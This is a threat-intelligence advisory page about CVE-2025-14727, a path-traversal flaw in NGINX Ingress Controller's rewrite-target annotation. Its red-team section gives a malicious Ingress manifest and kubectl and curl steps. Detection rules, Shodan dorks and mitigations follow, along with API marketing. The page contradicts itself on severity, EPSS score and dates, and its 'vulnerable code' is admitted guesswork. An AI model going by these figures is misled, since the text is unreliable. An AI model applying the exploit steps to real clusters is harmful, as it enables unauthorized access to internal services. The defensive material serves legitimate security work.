☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 8.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 🐛 CWE-20
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-14727

CVE-2025-14727 Supply Chain Attack in Nginx
📅 PUBLISHED: 2025-12-17 15:48 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.11%
👁️
0.11% probability
2.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 8.3
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
8.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-14727 is a critical vulnerability in the NGINX Ingress Controller, specifically within the validation logic of the nginx.org/rewrite-target annotation. This flaw allows an attacker to bypass intended security controls, potentially leading to arbitrary URL rewriting and unauthorized access to backend services. The vulnerability has a CVSS score of 8.3, indicating high severity. As of this report, no official patch has been released, and the vendor (Nginx) has not provided a fix. The EPSS score is 0.0%, suggesting low exploitation activity in the wild, but the potential impact remains significant for organizations using NGINX Ingress Controller in Kubernetes environments.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects the NGINX Ingress Controller, which is a critical component in Kubernetes clusters. While not a direct package manager issue (NPM, PyPI, Go, Ruby), the controller is often deployed via Helm charts or container images. Organizations should verify the integrity of their NGINX Ingress Controller images and ensure they are sourced from trusted registries. The lack of a patch increases supply chain risk, as attackers may target unpatched deployments.

CVSS Breakdown & Threat Level

  • CVSS Score: 8.3 (High)
  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – No authentication needed.
  • User Interaction (UI): None (N) – No user action required.
  • Scope (S): Unchanged (U) – Impact confined to the vulnerable component.
  • Confidentiality (C): High (H) – Potential data exposure.
  • Integrity (I): High (H) – Potential data modification.
  • Availability (A): High (H) – Potential service disruption.

Threat Level: Critical. The vulnerability allows unauthenticated remote attackers to manipulate rewrite rules, potentially leading to full compromise of backend services.

Deep Dive & Mechanics

The NGINX Ingress Controller uses annotations to configure ingress behavior. The nginx.org/rewrite-target annotation is intended to rewrite the request URI before forwarding it to backend services. The vulnerability lies in the validation logic of this annotation. Specifically, the controller fails to properly sanitize or validate the input, allowing an attacker to inject malicious patterns that bypass intended restrictions.

Root Cause: Insufficient input validation in the annotation parser. The controller does not check for path traversal sequences (e.g., ../) or special characters that could alter the rewrite target to an unintended location.

Attack Vector: An attacker with the ability to create or modify Ingress resources (e.g., via Kubernetes API access or a compromised CI/CD pipeline) can set the nginx.org/rewrite-target annotation to a malicious value. For example:

nginx.org/rewrite-target: /../../etc/passwd

This could cause the controller to rewrite requests to access sensitive files or internal services.

Impact: Successful exploitation could lead to:

  • Unauthorized access to internal services.
  • Data exfiltration.
  • Privilege escalation within the cluster.
  • Denial of service.

Vulnerable vs. Patched Code

Since no patch is available, a comparison is not possible. However, based on the vulnerability description, the vulnerable code likely resembles:

// Vulnerable: No validation of rewrite target
func (r *IngressRewriter) RewriteTarget(annotation string) string {
    return annotation
}

A patched version would include validation:

// Patched: Validate and sanitize rewrite target
func (r *IngressRewriter) RewriteTarget(annotation string) string {
    if !isValidPath(annotation) {
        return "/"
    }
    return sanitizePath(annotation)
}

func isValidPath(path string) bool {
    // Check for path traversal
    if strings.Contains(path, "..") {
        return false
    }
    // Additional checks
    return true
}

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Access to a Kubernetes cluster with NGINX Ingress Controller (vulnerable version).
  • Ability to create or modify Ingress resources.

Exploitation Steps:

  1. Identify a vulnerable Ingress resource.
  2. Modify the annotation:
    apiVersion: networking.k8s.io/v1
    kind: Ingress
    metadata:
      name: vulnerable-ingress
      annotations:
        nginx.org/rewrite-target: /../../internal-service
    spec:
      rules:
      - host: example.com
        http:
          paths:
          - path: /api
            pathType: Prefix
            backend:
              service:
                name: internal-service
                port:
                  number: 80
    
  3. Apply the modified Ingress:
    kubectl apply -f malicious-ingress.yaml
    
  4. Send a request to trigger the rewrite:
    curl -H "Host: example.com" http://<ingress-ip>/api
    
    The request will be rewritten to /../../internal-service, potentially exposing internal endpoints.

Expected Outcome: Unauthorized access to internal services or files.

Blue Team

Detection:

  • Monitor for unusual Ingress resource modifications, especially changes to nginx.org/rewrite-target annotations.
  • Use admission controllers (e.g., OPA/Gatekeeper) to enforce policies on allowed annotation values.

Mitigation:

  • Restrict who can create or modify Ingress resources using RBAC.
  • Implement a webhook to validate annotation values before admission.
  • Monitor logs for unexpected rewrite patterns.

Lab Setup:

  • Deploy a test cluster with a vulnerable NGINX Ingress Controller.
  • Create a simple backend service (e.g., internal-service) that returns sensitive data.
  • Apply the malicious Ingress as described above.

Indicators of Compromise (IOCs)

  • Network: Unusual HTTP requests with path traversal patterns (e.g., ../) in the URI.
  • Logs: NGINX Ingress Controller logs showing rewrite targets containing .. or other suspicious characters.
  • Kubernetes Events: Frequent updates to Ingress resources with modified nginx.org/rewrite-target annotations.
  • File System: Unexpected access to files outside the intended web root on backend services.

Detection Engineering

YARA Rule

rule CVE_2025_14727_Rewrite_Target_Exploit {
    meta:
        description = "Detects attempts to exploit CVE-2025-14727 via malicious rewrite-target annotations"
        author = "Valters IT"
        date = "2025-04-10"
        severity = "critical"
    strings:
        $annotation = "nginx.org/rewrite-target"
        $path_traversal = /\.\.\//
        $suspicious_path = /\/[a-zA-Z0-9_\-]+\/\.\./
    condition:
        $annotation and ($path_traversal or $suspicious_path)
}

Sigma Rule

title: CVE-2025-14727 NGINX Ingress Rewrite Target Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts of CVE-2025-14727 via malicious rewrite-target annotations in Kubernetes audit logs.
author: Valters IT
date: 2025-04-10
logsource:
    product: kubernetes
    service: audit
detection:
    selection:
        objectRef.resource: "ingresses"
        verb: "update"
        requestObject.metadata.annotations.nginx.org/rewrite-target|contains: ".."
    condition: selection
falsepositives:
    - Legitimate use of path traversal in rewrite rules (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-14727 NGINX Ingress Rewrite Target Exploitation"; flow:to_server; content:"nginx.org/rewrite-target"; http_header; pcre:"/\.\.\//"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the nginx.org/rewrite-target annotation if not required, by removing it from Ingress resources.
  2. Implement an admission webhook to validate annotation values and reject any containing path traversal sequences.
  3. Restrict Ingress creation/modification to trusted users only via Kubernetes RBAC.

Long-term Fix:

  • Monitor the NGINX Ingress Controller repository for an official patch.
  • Once available, upgrade to the patched version immediately.
  • Consider using alternative ingress controllers (e.g., Traefik, HAProxy) if a patch is not forthcoming.

Workaround:

  • Use a custom validation script in a MutatingAdmissionWebhook to sanitize the annotation:
    apiVersion: admissionregistration.k8s.io/v1
    kind: MutatingWebhookConfiguration
    metadata:
      name: rewrite-target-validator
    webhooks:
    - name: validator.example.com
      rules:
      - operations: ["CREATE", "UPDATE"]
        apiGroups: ["networking.k8s.io"]
        apiVersions: ["v1"]
        resources: ["ingresses"]
      clientConfig:
        service:
          name: validator-service
          namespace: default
          path: /validate
      admissionReviewVersions: ["v1"]
    

Valters IT
DevSecOps & Cyber Threat Intelligence Expert

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

nginx-ingress rewrite-target
nginx.org/rewrite-target

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-14727/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.